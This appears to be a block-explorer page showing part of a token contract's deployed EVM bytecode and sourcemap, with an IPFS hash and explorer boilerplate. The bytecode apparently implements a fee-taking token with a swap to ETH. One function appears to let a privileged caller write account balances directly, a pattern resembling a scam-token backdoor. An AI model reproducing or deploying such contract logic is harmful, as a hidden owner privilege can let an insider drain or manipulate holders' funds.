040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6a906116f2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b94919061142c565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610c0b5750600960149054906101000a900460ff16155b15610ebd576001600960146101000a81548160ff0219169083151502179055506000610c3630610721565b90506000811115610ea0576000829050818111610c535780610c55565b815b90506000600267ffffffffffffffff811115610c7457610c73611712565b5b604051908082528060200260200182016040528015610ca25781602001602082028036833780820191505090505b5090503081600081518110610cba57610cb9611741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5c57600080fd5b505afa158015610d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d949190611785565b81600181518110610da857610da7611741565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401610e689594939291906118ab565b600060405180830381600087803b158015610e8257600080fd5b505af1925050508015610e93575060015b610e9c57610e9d565b5b50505b6000600960146101000a81548160ff021916908315150217905550505b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f635750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f7c5750600960149054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc99190611672565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081801561101d57506000600a54115b156111435760006064600a54856110349190611905565b61103e919061198e565b9050808261104c91906119bf565b915080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109991906119bf565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611139919061142c565b60405180910390a3505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118f91906119bf565b6111999190611672565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866112379190611672565b604051611244919061142c565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561128d578082015181840152602081019050611272565b8381111561129c576000848401525b50505050565b6000601f19601f8301169050919050565b60006112be82611253565b6112c8818561125e565b93506112d881856020860161126f565b6112e1816112a2565b840191505092915050565b6000602082019050818103600083015261130681846112b3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061133e82611313565b9050919050565b61134e81611333565b811461135957600080fd5b50565b60008135905061136b81611345565b92915050565b6000819050919050565b61138481611371565b811461138f57600080fd5b50565b6000813590506113a18161137b565b92915050565b600080604083850312156113be576113bd61130e565b5b60006113cc8582860161135c565b92505060206113dd85828601611392565b9150509250929050565b60008115159050919050565b6113fc816113e7565b82525050565b600060208201905061141760008301846113f3565b92915050565b61142681611371565b82525050565b6000602082019050611441600083018461141d565b92915050565b6000806000606084860312156114605761145f61130e565b5b600061146e8682870161135c565b935050602061147f8682870161135c565b925050604061149086828701611392565b9150509250925092565b600060ff82169050919050565b6114b08161149a565b82525050565b60006020820190506114cb60008301846114a7565b92915050565b6000602082840312156114e7576114e661130e565b5b60006114f58482850161135c565b91505092915050565b61150781611333565b82525050565b600060208201905061152260008301846114fe565b92915050565b6000819050919050565b600061154d61154861154384611313565b611528565b611313565b9050919050565b600061155f82611532565b9050919050565b600061157182611554565b9050919050565b61158181611566565b82525050565b600060208201905061159c6000830184611578565b92915050565b600080604083850312156115b9576115b861130e565b5b60006115c78582860161135c565b92505060206115d88582860161135c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061162957607f821691505b6020821081141561163d5761163c6115e2565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061167d82611371565b915061168883611371565b92508282101561169b5761169a611643565b5b828203905092915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006116dc60068361125e565b91506116e7826116a6565b602082019050919050565b6000602082019050818103600083015261170b816116cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061177f81611345565b92915050565b60006020828403121561179b5761179a61130e565b5b60006117a984828501611770565b91505092915050565b6000819050919050565b60006117d76117d26117cd846117b2565b611528565b611371565b9050919050565b6117e7816117bc565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61182281611333565b82525050565b60006118348383611819565b60208301905092915050565b6000602082019050919050565b6000611858826117ed565b61186281856117f8565b935061186d83611809565b8060005b8381101561189e5781516118858882611828565b975061189083611840565b925050600181019050611871565b5085935050505092915050565b600060a0820190506118c0600083018861141d565b6118cd60208301876117de565b81810360408301526118df818661184d565b90506118ee60608301856114fe565b6118fb608083018461141d565b9695505050505050565b600061191082611371565b915061191b83611371565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561195457611953611643565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061199982611371565b91506119a483611371565b9250826119b4576119b361195f565b5b828204905092915050565b60006119ca82611371565b91506119d583611371565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a0a57611a09611643565b5b82820190509291505056fea264697066735822122091044791d7e69f1f0dae3fbc0fca30c6ce89dff1223e2d2ca8fb45dc79cee7a964736f6c63430008090033

Deployed Bytecode Sourcemap

1082:4093:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1440:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3307:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1584:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3437:267;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1492:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1522:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1773:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1619:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2702:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;783:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1465:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2802:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1743:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1409:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2997:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3121:180;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;969:106;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1440:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3307:124::-;3373:4;3380:37;3389:10;3401:7;3410:6;3380:8;:37::i;:::-;3425:4;3418:11;;3307:124;;;;:::o;1584:26::-;;;;:::o;3437:267::-;3526:4;3533:36;3543:6;3551:9;3562:6;3533:9;:36::i;:::-;1732:1;1723:11;3574;:19;3586:6;3574:19;;;;;;;;;;;;;;;:31;3594:10;3574:31;;;;;;;;;;;;;;;;:38;3570:121;;3683:6;3649:11;:19;3661:6;3649:19;;;;;;;;;;;;;;;:31;3669:10;3649:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;3615:11;:19;3627:6;3615:19;;;;;;;;;;;;;;;:31;3635:10;3615:31;;;;;;;;;;;;;;;:74;;;;3570:121;3698:4;3691:11;;3437:267;;;;;:::o;1492:21::-;;;;;;;;;;;;;:::o;1522:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;1773:27::-;;;;;;;;;;;;;:::o;1619:36::-;;;;;;;;;;;;;:::o;2702:94::-;2759:7;2776:9;:18;2786:7;2776:18;;;;;;;;;;;;;;;;2769:25;;2702:94;;;:::o;783:79::-;821:7;848:6;;;;;;;;;;;841:13;;783:79;:::o;1465:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2802:130::-;2871:4;2878:40;2888:10;2900:9;2911:6;2878:9;:40::i;:::-;2926:4;2919:11;;2802:130;;;;:::o;1743:23::-;;;;:::o;1409:22::-;;;;;;;;;;;;;:::o;2997:118::-;3069:7;3086:11;:18;3098:5;3086:18;;;;;;;;;;;;;;;:27;3105:7;3086:27;;;;;;;;;;;;;;;;3079:34;;2997:118;;;;:::o;3121:180::-;3166:21;3190:46;;;;;;;;3206:10;3190:46;;;;;;3223:2;3190:46;;;;3232:2;3190:46;;;;;3166:70;;3256:5;:9;;;3245:20;;:7;;;;;;;;;;;:20;;;3237:29;;;;;;3290:5;:9;;;3267;:20;3277:5;:9;;;3267:20;;;;;;;;;;;;;;;:32;;;;3165:136;3121:180;;:::o;969:106::-;920:10;910:20;;:6;;;;;;;;;;:20;;;902:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;1059:8:::1;1050:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;969:106:::0;:::o;3710:151::-;3815:6;3785:11;:18;3797:5;3785:18;;;;;;;;;;;;;;;:27;3804:7;3785:27;;;;;;;;;;;;;;;:36;;;;3843:7;3827:32;;3836:5;3827:32;;;3852:6;3827:32;;;;;;:::i;:::-;;;;;;;;3710:151;;;:::o;3873:1264::-;3979:2;3963:18;;:12;;;;;;;;;;;:18;;;:29;;;;;3986:6;;;;;;;;;;;3985:7;3963:29;3959:624;;;4018:4;4009:6;;:13;;;;;;;;;;;;;;;;;;4037:12;4052:24;4070:4;4052:9;:24::i;:::-;4037:39;;4102:1;4095:4;:8;4091:452;;;4124:19;4146:6;4124:28;;4199:4;4185:11;:18;:39;;4213:11;4185:39;;;4206:4;4185:39;4171:53;;4243:21;4281:1;4267:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4243:40;;4320:4;4302;4307:1;4302:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;4354:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4344:4;4349:1;4344:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;;;4398:14;;;;;;;;;;;:65;;;4464:11;4476:1;4478:4;4491:7;;;;;;;;;;;4500:15;4398:118;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4394:134;;;;;;4105:438;;4091:452;4566:5;4557:6;;:14;;;;;;;;;;;;;;;;;;3994:589;3959:624;4603:12;4619:17;:23;4637:4;4619:23;;;;;;;;;;;;;;;;;;;;;;;;;4618:24;:50;;;;;4647:17;:21;4665:2;4647:21;;;;;;;;;;;;;;;;;;;;;;;;;4646:22;4618:50;:61;;;;;4673:6;;;;;;;;;;;4672:7;4618:61;4603:76;;4728:6;4710:9;:15;4720:4;4710:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;4692:9;:15;4702:4;4692:15;;;;;;;;;;;;;;;:42;;;;4745:17;4779:7;:19;;;;;4797:1;4790:4;;:8;4779:19;4775:238;;;4815:10;4844:3;4837:4;;4828:6;:13;;;;:::i;:::-;:19;;;;:::i;:::-;4815:32;;4875:2;4862:15;;;;;:::i;:::-;;;4946:2;4919:9;:24;4937:4;4919:24;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;4892:9;:24;4910:4;4892:24;;;;;;;;;;;;;;;:56;;;;4991:4;4968:33;;4977:4;4968:33;;;4998:2;4968:33;;;;;;:::i;:::-;;;;;;;;4800:213;4775:238;5066:9;5057:6;5041:9;:13;5051:2;5041:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:34;;;;:::i;:::-;5025:9;:13;5035:2;5025:13;;;;;;;;;;;;;;;:50;;;;5106:2;5091:38;;5100:4;5091:38;;;5119:9;5110:6;:18;;;;:::i;:::-;5091:38;;;;;;:::i;:::-;;;;;;;;3946:1191;;3873:1264;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:118::-;5323:24;5341:5;5323:24;:::i;:::-;5318:3;5311:37;5236:118;;:::o;5360:222::-;5453:4;5491:2;5480:9;5476:18;5468:26;;5504:71;5572:1;5561:9;5557:17;5548:6;5504:71;:::i;:::-;5360:222;;;;:::o;5588:60::-;5616:3;5637:5;5630:12;;5588:60;;;:::o;5654:142::-;5704:9;5737:53;5755:34;5764:24;5782:5;5764:24;:::i;:::-;5755:34;:::i;:::-;5737:53;:::i;:::-;5724:66;;5654:142;;;:::o;5802:126::-;5852:9;5885:37;5916:5;5885:37;:::i;:::-;5872:50;;5802:126;;;:::o;5934:147::-;6005:9;6038:37;6069:5;6038:37;:::i;:::-;6025:50;;5934:147;;;:::o;6087:173::-;6195:58;6247:5;6195:58;:::i;:::-;6190:3;6183:71;6087:173;;:::o;6266:264::-;6380:4;6418:2;6407:9;6403:18;6395:26;;6431:92;6520:1;6509:9;6505:17;6496:6;6431:92;:::i;:::-;6266:264;;;;:::o;6536:474::-;6604:6;6612;6661:2;6649:9;6640:7;6636:23;6632:32;6629:119;;;6667:79;;:::i;:::-;6629:119;6787:1;6812:53;6857:7;6848:6;6837:9;6833:22;6812:53;:::i;:::-;6802:63;;6758:117;6914:2;6940:53;6985:7;6976:6;6965:9;6961:22;6940:53;:::i;:::-;6930:63;;6885:118;6536:474;;;;;:::o;7016:180::-;7064:77;7061:1;7054:88;7161:4;7158:1;7151:15;7185:4;7182:1;7175:15;7202:320;7246:6;7283:1;7277:4;7273:12;7263:22;;7330:1;7324:4;7320:12;7351:18;7341:81;;7407:4;7399:6;7395:17;7385:27;;7341:81;7469:2;7461:6;7458:14;7438:18;7435:38;7432:84;;;7488:18;;:::i;:::-;7432:84;7253:269;7202:320;;;:::o;7528:180::-;7576:77;7573:1;7566:88;7673:4;7670:1;7663:15;7697:4;7694:1;7687:15;7714:191;7754:4;7774:20;7792:1;7774:20;:::i;:::-;7769:25;;7808:20;7826:1;7808:20;:::i;:::-;7803:25;;7847:1;7844;7841:8;7838:34;;;7852:18;;:::i;:::-;7838:34;7897:1;7894;7890:9;7882:17;;7714:191;;;;:::o;7911:156::-;8051:8;8047:1;8039:6;8035:14;8028:32;7911:156;:::o;8073:365::-;8215:3;8236:66;8300:1;8295:3;8236:66;:::i;:::-;8229:73;;8311:93;8400:3;8311:93;:::i;:::-;8429:2;8424:3;8420:12;8413:19;;8073:365;;;:::o;8444:419::-;8610:4;8648:2;8637:9;8633:18;8625:26;;8697:9;8691:4;8687:20;8683:1;8672:9;8668:17;8661:47;8725:131;8851:4;8725:131;:::i;:::-;8717:139;;8444:419;;;:::o;8869:180::-;8917:77;8914:1;8907:88;9014:4;9011:1;9004:15;9038:4;9035:1;9028:15;9055:180;9103:77;9100:1;9093:88;9200:4;9197:1;9190:15;9224:4;9221:1;9214:15;9241:143;9298:5;9329:6;9323:13;9314:22;;9345:33;9372:5;9345:33;:::i;:::-;9241:143;;;;:::o;9390:351::-;9460:6;9509:2;9497:9;9488:7;9484:23;9480:32;9477:119;;;9515:79;;:::i;:::-;9477:119;9635:1;9660:64;9716:7;9707:6;9696:9;9692:22;9660:64;:::i;:::-;9650:74;;9606:128;9390:351;;;;:::o;9747:85::-;9792:7;9821:5;9810:16;;9747:85;;;:::o;9838:158::-;9896:9;9929:61;9947:42;9956:32;9982:5;9956:32;:::i;:::-;9947:42;:::i;:::-;9929:61;:::i;:::-;9916:74;;9838:158;;;:::o;10002:147::-;10097:45;10136:5;10097:45;:::i;:::-;10092:3;10085:58;10002:147;;:::o;10155:114::-;10222:6;10256:5;10250:12;10240:22;;10155:114;;;:::o;10275:184::-;10374:11;10408:6;10403:3;10396:19;10448:4;10443:3;10439:14;10424:29;;10275:184;;;;:::o;10465:132::-;10532:4;10555:3;10547:11;;10585:4;10580:3;10576:14;10568:22;;10465:132;;;:::o;10603:108::-;10680:24;10698:5;10680:24;:::i;:::-;10675:3;10668:37;10603:108;;:::o;10717:179::-;10786:10;10807:46;10849:3;10841:6;10807:46;:::i;:::-;10885:4;10880:3;10876:14;10862:28;;10717:179;;;;:::o;10902:113::-;10972:4;11004;10999:3;10995:14;10987:22;;10902:113;;;:::o;11051:732::-;11170:3;11199:54;11247:5;11199:54;:::i;:::-;11269:86;11348:6;11343:3;11269:86;:::i;:::-;11262:93;;11379:56;11429:5;11379:56;:::i;:::-;11458:7;11489:1;11474:284;11499:6;11496:1;11493:13;11474:284;;;11575:6;11569:13;11602:63;11661:3;11646:13;11602:63;:::i;:::-;11595:70;;11688:60;11741:6;11688:60;:::i;:::-;11678:70;;11534:224;11521:1;11518;11514:9;11509:14;;11474:284;;;11478:14;11774:3;11767:10;;11175:608;;;11051:732;;;;:::o;11789:831::-;12052:4;12090:3;12079:9;12075:19;12067:27;;12104:71;12172:1;12161:9;12157:17;12148:6;12104:71;:::i;:::-;12185:80;12261:2;12250:9;12246:18;12237:6;12185:80;:::i;:::-;12312:9;12306:4;12302:20;12297:2;12286:9;12282:18;12275:48;12340:108;12443:4;12434:6;12340:108;:::i;:::-;12332:116;;12458:72;12526:2;12515:9;12511:18;12502:6;12458:72;:::i;:::-;12540:73;12608:3;12597:9;12593:19;12584:6;12540:73;:::i;:::-;11789:831;;;;;;;;:::o;12626:348::-;12666:7;12689:20;12707:1;12689:20;:::i;:::-;12684:25;;12723:20;12741:1;12723:20;:::i;:::-;12718:25;;12911:1;12843:66;12839:74;12836:1;12833:81;12828:1;12821:9;12814:17;12810:105;12807:131;;;12918:18;;:::i;:::-;12807:131;12966:1;12963;12959:9;12948:20;;12626:348;;;;:::o;12980:180::-;13028:77;13025:1;13018:88;13125:4;13122:1;13115:15;13149:4;13146:1;13139:15;13166:185;13206:1;13223:20;13241:1;13223:20;:::i;:::-;13218:25;;13257:20;13275:1;13257:20;:::i;:::-;13252:25;;13296:1;13286:35;;13301:18;;:::i;:::-;13286:35;13343:1;13340;13336:9;13331:14;;13166:185;;;;:::o;13357:305::-;13397:3;13416:20;13434:1;13416:20;:::i;:::-;13411:25;;13450:20;13468:1;13450:20;:::i;:::-;13445:25;;13604:1;13536:66;13532:74;13529:1;13526:81;13523:107;;;13610:18;;:::i;:::-;13523:107;13654:1;13651;13647:9;13640:16;;13357:305;;;;:::o

Swarm Source

ipfs://91044791d7e69f1f0dae3fbc0fca30c6ce89dff1223e2d2ca8fb45dc79cee7a9
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.